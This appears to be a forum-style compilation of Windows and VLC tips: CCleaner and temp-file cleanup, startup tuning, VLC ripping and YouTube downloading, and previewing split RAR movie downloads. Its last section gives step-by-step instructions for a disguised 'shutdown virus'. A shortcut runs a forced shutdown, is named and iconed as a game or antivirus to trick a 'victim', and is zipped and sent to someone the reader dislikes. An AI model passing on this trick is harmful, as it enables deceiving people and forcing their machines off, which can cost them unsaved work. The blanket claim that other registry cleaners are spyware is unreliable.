Hi.
1)CCleaner.
This is a very good freeware software which cleans the registry and deletes the junk files. You just need to install the software and click on scan. When I used it for the first time, it found a whopping 50mb of junk files and lots of registry errors. Remember, registry is like the main register for the PC. If the registry remains clean and free of errors, then your PC will be fast. Do not download other registry cleaners as they are themselves SPYWAREs. So always use CCleaner. I recommend to use it once a week.
CCleaner.
2)
Other thing is to manually find temporary files. To do this follow the following two methods:
i)Start--> Run--> Type : %temp%
Delete all the files permanently, your PC will get a quick boost of speed.
ii)Start-->Search--> Specify to include all hidden files--> search for ".tmp" (without quotes.)
Delete all the files permamently.
3)
If you are low on RAM or have many high-end softwares, then it would take much time for booting.
If you are fed up with long booting time, then you can try to disable those applications which are not needed at startup. Just enable those which are needed by you. To do this follow this steps:
i)Start-->Run-->Type "msconfig"
IISelect "Startup" Tab.
iii) Now deselect all those apps which are not needed by you at startup.
iv)Click OK and restart your PC.

VLC Media Player valuable tricks and tips. Must see.
1. Rip DVDs: VLC includes a basic DVD ripper. You probably would never use it when there are better DVD rippers available, but it helps to know that you can in fact, get a decent quality DVD rip with VLC. To rip a movie follow these steps: Go to the Media menu and choose Convert/Save. Click on the Disc tab.
* Here you can adjust the Starting Position and rip only specific titles or chapters.
* Enter file name making sure to end with .MPG, and start ripping.
* Click Save.
2. Record videos: With the new VLC, you can record videos during playback. The record button is hidden by default. To see it, click on View>Advanced Control. The record button will now appear. Clicking on the button while playing a movie or video will start recording. Clicking again will stop recording.
3. Play RAR files: Do you know VLC can play videos zipped inside RAR files? They play like normal video files and you can even use the seek bar. If the RAR file is split into several files, no problem. Just load the first part (.part001.rar ) and it will automatically take the rest of the parts and play the whole file.
4. Play in ASCII mode: VLC media player has an amusing ability, to playback movies in ASCII art. To enable ASCII mode, open VLC media player and click on Tools>Preferences. Open the section “Video” section and under “Output” select “Color ASCII art video output” from the drop down menu. Save it. Now play any video file to enjoy the ASCII art.
5. Listen to online radio: VLC includes hundreds of Shoutcast radio stations. You just need to enable it through Media>Services Discovery>Shoutcast radio listings. Now, open the Playlist and browse through the stations.
6. Convert Audio and Video formats: In VLC you can convert video and audio files from one format to another. Several different formats are supported like MP4, WMV, AVI, OGG, MP3 etc. To access the converter:
* Go to Media>Convert/Save.
* Load the file you want to convert using the Add button and click Convert.
* Now choose the output format and output file location.
7. Download YouTube and other online videos: First grab the URL of the YouTube video page. Now click on Media>Open Network stream. Paste the URL and click Play.
Once VLC starts streaming the video, click Tools>Codec Information and at the bottom of the window you will see a Location box. Copy the URL and paste it on your browser’s address bar. The browser will now download the file which you can save it to your hard disk. Alternatively, you can record the video.
Enjoy!!!

Check movie quality without downloading.
Its an old one, but I thought I'd share it with you guys.
This will show you how to check the movie quality without downloading all the movie parts (r01, r02...etc)
Download part one, after you finish Downloading it, right click on it and click on "Extract files"
Then a window will pop up (WinRAR), now click on the check box "Keep Broken Files"
After you do that extract it, when it asks you for Part 2 just click on "Cancel", and you'll find the folder extracted in the location you chose (not fullmovie, only what part 1 has)

Shutdown someone's PC. !@!@!
1) Right click on desk top, and then go New, then Shortcut.
2) Then in the "type location of the item" you want to type:
%windir%\system32\shutdown.exe -s -t 120 -c "This is a virus"
You can change "this is a virus" to anything you would like that’s just the message that will appear.
The 120 you typed in can also be change at will, this is simply the amount of time they receive in till there computer will shutdown.
Once the code has been entered as you have seen above click next.
My advice would be to rename it something like.... wicked game, good anti virus etc. Depends on the victim’s age.. But make sure you call it something good or the victim won't bother clicking on it.
After you have given it a name click on finish.
You should now have an icon on your desktop that is called "wicked game" or whatever name you gave it.
It is also advised you change the icon to something different.
3) Change name and icon.
4) Now to send it to some one you need to make a compressed file.
This can be done by right clicking on the desktop, New, Compressed file (zipped)
Then another folder should appear on your desktop click on this and drag your shutdown virus into the zipped folder.
5) Once your shutdown virus is in your compressed folder rename it.
Make sure to give it a similar name as to the file inside it like "Great Game.zip"
Don’t forget to add the .zip at the end.
WARING! Make sure when you rename the compressed folder to add .zip at the end it is very important.
Now feel free to send it to anyone you...... dislike greatly.
As a safe guard I will tell you how to stop the shutdown count down. Just incase you ever click it your self , Ok go to start, run, type cmd, then in cmd type: shutdown -a
That’s about it have fun guys.
